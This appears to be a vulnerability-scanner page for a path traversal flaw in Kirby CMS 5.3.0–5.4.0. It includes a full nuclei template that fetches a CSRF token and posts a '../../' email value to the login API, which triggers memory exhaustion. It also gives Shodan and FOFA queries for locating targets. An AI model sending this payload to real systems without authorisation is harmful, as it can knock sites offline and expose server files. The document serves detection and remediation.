Kirby CMS 5.3.0-5.4.0 - Path Traversal

highseverity

8.8CVSS score

1.8%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

Kirby CMS versions 5.3.0 through 5.4.0 are vulnerable to a path traversal vulnerability via the /api/auth/login endpoint. An unauthenticated attacker may supply a specially crafted email value in the request body containing traversal sequences (such as "../.."), which the application concatenates directly into a filesystem path when hydrating user objects. This can result in the resolution of paths outside the intended accounts directory and may lead to the inclusion of unintended files such as index.php, causing a denial of service by exhausting memory limits. The issue is addressed in version 5.4.1 by properly validating and sanitizing the user-supplied input to prevent directory traversal.

Impact

Attackers can include arbitrary PHP files and fingerprint server directories, potentially leading to code execution or information disclosure.

Fix

Update to version 5.4.1 or later.

How to confirm it

Send: GET /panel/installation
Send: POST /api/auth/login
Positive when: contains "currently offline due to an unexpected error" OR contains "Allowed memory size of" and "bytes exhausted (tried to allocate"

Run it with nuclei: nuclei -id CVE-2026-44177 -u <target>

The full check

id: CVE-2026-44177

info:
  name: Kirby CMS 5.3.0-5.4.0 - Path Traversal
  author: str4k3r
  severity: high
  description: |
    Kirby CMS versions 5.3.0 through 5.4.0 are vulnerable to a path traversal vulnerability via the /api/auth/login endpoint. An unauthenticated attacker may supply a specially crafted email value in the request body containing traversal sequences (such as "../.."), which the application concatenates directly into a filesystem path when hydrating user objects. This can result in the resolution of paths outside the intended accounts directory and may lead to the inclusion of unintended files such as index.php, causing a denial of service by exhausting memory limits. The issue is addressed in version 5.4.1 by properly validating and sanitizing the user-supplied input to prevent directory traversal.
  impact: |
    Attackers can include arbitrary PHP files and fingerprint server directories, potentially leading to code execution or information disclosure.
  remediation: |
    Update to version 5.4.1 or later.
  reference:
    - https://github.com/getkirby/kirby/security/advisories/GHSA-9hx7-c53c-v6x8
    - https://github.com/getkirby/kirby/releases/tag/5.4.1
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44177
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.8
    cve-id: CVE-2026-44177
    epss-score: 0.0177
    epss-percentile: 0.78327
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    product: kirby
    vendor: getkirby
    shodan-query: http.favicon.hash:987600836
    fofa-query: icon_hash="987600836"
  tags: cve,cve2026,kirby,cms,lfi,traversal

http:
  - raw:
      - |
        GET /panel/installation HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - '"csrf":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /api/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-CSRF: {{csrf}}

        {"email":"../../","password":"x","long":false}

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "currently offline due to an unexpected error"

      - type: word
        part: body
        words:
          - "Allowed memory size of"
          - "bytes exhausted (tried to allocate"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from